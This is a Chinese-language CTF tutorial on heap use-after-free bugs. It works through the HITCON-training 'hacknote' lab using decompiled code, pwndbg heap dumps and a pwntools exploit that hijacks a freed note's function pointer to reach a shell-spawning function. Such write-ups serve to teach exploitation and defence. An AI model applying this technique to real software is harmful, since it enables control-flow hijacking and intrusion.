堆溢出-Use After Free
原理
当一个内存块被释放之后再次被使用。
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
例 HITCON-training lab 10 hacknote
功能
puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); return printf("Your choice :");
|
漏洞点
unsigned int del_note() { int v1; char buf; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(*(notelist[v1] + 1)); free(notelist[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
|
利用
申请一个size=16的note查看堆布局
pwndbg> x/20gx 0x804b198 0x804b198: 0x0000001100000000 0x0804b1b00804865b ========> 8 字节内存存放note中的put以及content指针。 0x804b1a8: 0x0000002100000000 0x6161616161616161 0x804b1b8: 0x6161616161616161 0x0000000000000000 0x804b1c8: 0x00021e3900000000 0x0000000000000000
|
显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下
- 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 释放 note0
- 释放 note1
- 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
- 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
- note2 其实会分配 note1 对应的内存块。
- real content 对应的 chunk 其实是 note0。
- 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
释放note 0 - note 1后 pwndbg> x/20gx 0x804b198-0x10 0x804b188: 0x0000000000000000 0x0000000000000000 0x804b198: 0x0000001100000000 0x0804b01000000000 ---------再次申请将被分配 0x804b1a8: 0x0000002100000000 0x0804b01000000000 0x804b1b8: 0x6161616161616161 0x0000000000000000 0x804b1c8: 0x0000001100000000 0x0804b0100804b1a0 0x804b1d8: 0x0000002100000000 0x0804b0100804b1b0 0x804b1e8: 0x6262626262626262 0x0000000000000000 0x804b1f8: 0x00021e0900000000 0x0000000000000000 0x804b208: 0x0000000000000000 0x0000000000000000 0x804b218: 0x0000000000000000 0x0000000000000000
|
note2填充'c'*8后 pwndbg> x/20gx 0x804b198-0x20 0x804b178: 0x0000000000000000 0x0000000000000000 0x804b188: 0x0000000000000000 0x0000000000000000 0x804b198: 0x0000001100000000 0x6363636363636363 ------分配位置,将被调用,改为magic地址get shell 0x804b1a8: 0x0000002100000000 0x0804b01000000000 0x804b1b8: 0x6161616161616161 0x0000000000000000 0x804b1c8: 0x0000001100000000 0x0804b1a00804865b 0x804b1d8: 0x0000002100000000 0x0804b0100804b1b0 0x804b1e8: 0x6262626262626262 0x0000000000000000 0x804b1f8: 0x00021e0900000000 0x0000000000000000
|
exp
from pwn import *
r = process('./hacknote')
def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx))
def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
magic = 0x08048986
addnote(32, "aaaa") addnote(32, "ddaa")
delnote(0) delnote(1)
addnote(8, p32(magic))
printnote(0)
r.interactive()
|